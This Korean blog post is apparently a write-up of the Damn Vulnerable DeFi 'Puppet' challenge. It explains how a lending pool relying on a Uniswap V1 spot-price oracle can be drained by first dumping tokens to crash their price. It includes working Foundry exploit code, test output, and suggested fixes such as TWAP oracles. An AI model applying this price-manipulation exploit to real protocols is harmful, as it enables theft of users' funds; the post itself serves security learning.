티스토리 뷰
문제
취약점
PuppetPool 컨트랙트의 취약점은 UniswapV1Exchange의 가격을 사용하는 오라클을 구현한 것에 있습니다. UniswapV1에서의 가격은 모든 거래의 영향을 직접적으로 받습니다. 예를 들어, ETH-ERC20 페어에서 갑자기 아주 많은 양의 ERC20 토큰을 ETH로 스왑 하게 되면 ERC20 토큰의 가격은 아주 큰 폭으로 떨어지게 됩니다. 우리는 이 점을 이용해 토큰의 가격을 먼저 떨어트린 다음, 렌딩 풀의 모든 토큰을 꺼내오면 됩니다.
공격
현재 유동성 풀에는 10 ETH와 10 DVT가 들어있으며 이를 통해 K가 100이라는 것을 알 수 있습니다. 그리고 1 ETH = 1 DVT임을 알 수 있습니다. 공격자는 1000 DVT를 ETH로 스왑 하여 DVT의 가격을 떨어트립니다. 스왑이 실행된 이후 유동성 풀에는 약 0.09901 ETH와 1010 DVT가 남아있을 것이고 이를 기반으로 가격을 계산하면 1 ETH로 약 10200 DVT를 빌릴 수 있습니다. 공격자는 25 ETH를 가지고 있고 토큰을 빌리기 위해서는 토큰 가격의 2배가 되는 ETH를 전송해야 합니다. 12.5 ETH에 해당하는 토큰양만 따지더라도 127,500개로 렌딩 풀이 가지고 있는 100,000개를 빌리고도 남습니다.
vm.startPrank(attacker);
// Approve the Uniswap exchange to spend the attacker's tokens
dvt.approve(address(uniswapExchange), type(uint256).max);
console.log("Attacker DVT balance before swap: ", dvt.balanceOf(attacker) / 10 ** 18);
console.log("Attacker ETH balance before swap: ", attacker.balance / 10 ** 18);
console.log("Token price before swap: ", computeTokenPrice());
// Manipulate the price of the token in the Uniswap exchange
uniswapExchange.tokenToEthSwapInput(ATTACKER_INITIAL_TOKEN_BALANCE, 1, DEADLINE);
console.log("Attacker DVT balance after swap: ", dvt.balanceOf(attacker) / 10 ** 18);
console.log("Attacker ETH balance after swap: ", attacker.balance / 10 ** 18);
console.log("Token price after swap: ", computeTokenPrice());
// Borrow the maximum amount of tokens from the pool
uint256 borrowAmount = calculateMaxBorrowable(ATTACKER_INITIAL_ETH_BALANCE);
if (borrowAmount > POOL_INITIAL_TOKEN_BALANCE) {
console.log("Borrowing the maximum amount of tokens from the pool");
borrowAmount = POOL_INITIAL_TOKEN_BALANCE;
}
puppetPool.borrow{value: puppetPool.calculateDepositRequired(borrowAmount)}(borrowAmount);
vm.stopPrank();
$ make Puppet
forge test --match-test testExploit --match-contract Puppet$
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/Levels/puppet/Puppet.t.sol:Puppet
[PASS] testExploit() (gas: 136037)
Logs:
🧨 Let's see if you can break it... 🧨
Attacker DVT balance before swap: 1000
Attacker ETH balance before swap: 25
Token price before swap: 1000000000000000000
Attacker DVT balance after swap: 0
Attacker ETH balance after swap: 34
Token price after swap: 98321649443991
Borrowing the maximum amount of tokens from the pool
🎉 Congratulations, you can go to the next level! 🎉
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.03ms
Ran 1 test suite in 8.03ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
개선안
가격 변동이 시시각각 반영되는 UniswapV1 보다는 시간 가중치를 곱해 누적된 가격으로 평균적인 가격(TWAP)을 구할 수 있는 UniswapV2 이상의 버전을 사용하는 것이 좋습니다. 이 외에도 신뢰할 수 있는 다양한 가격 오라클을 기반으로 평균 가격 또는 중앙값을 구하여 사용하는 것도 좋은 방법입니다.
'Solidity > Hacking' 카테고리의 다른 글
[Damn Vulnerable DeFi] Free Rider (0) | 2024.03.01 |
---|---|
[Damn Vulnerable DeFi] Puppet V2 (0) | 2024.02.29 |
[Damn Vulnerable DeFi] Compromised (1) | 2024.02.27 |
[Damn Vulnerable DeFi] Selfie (0) | 2024.02.26 |
[Damn Vulnerable DeFi] The Rewarder (0) | 2024.02.25 |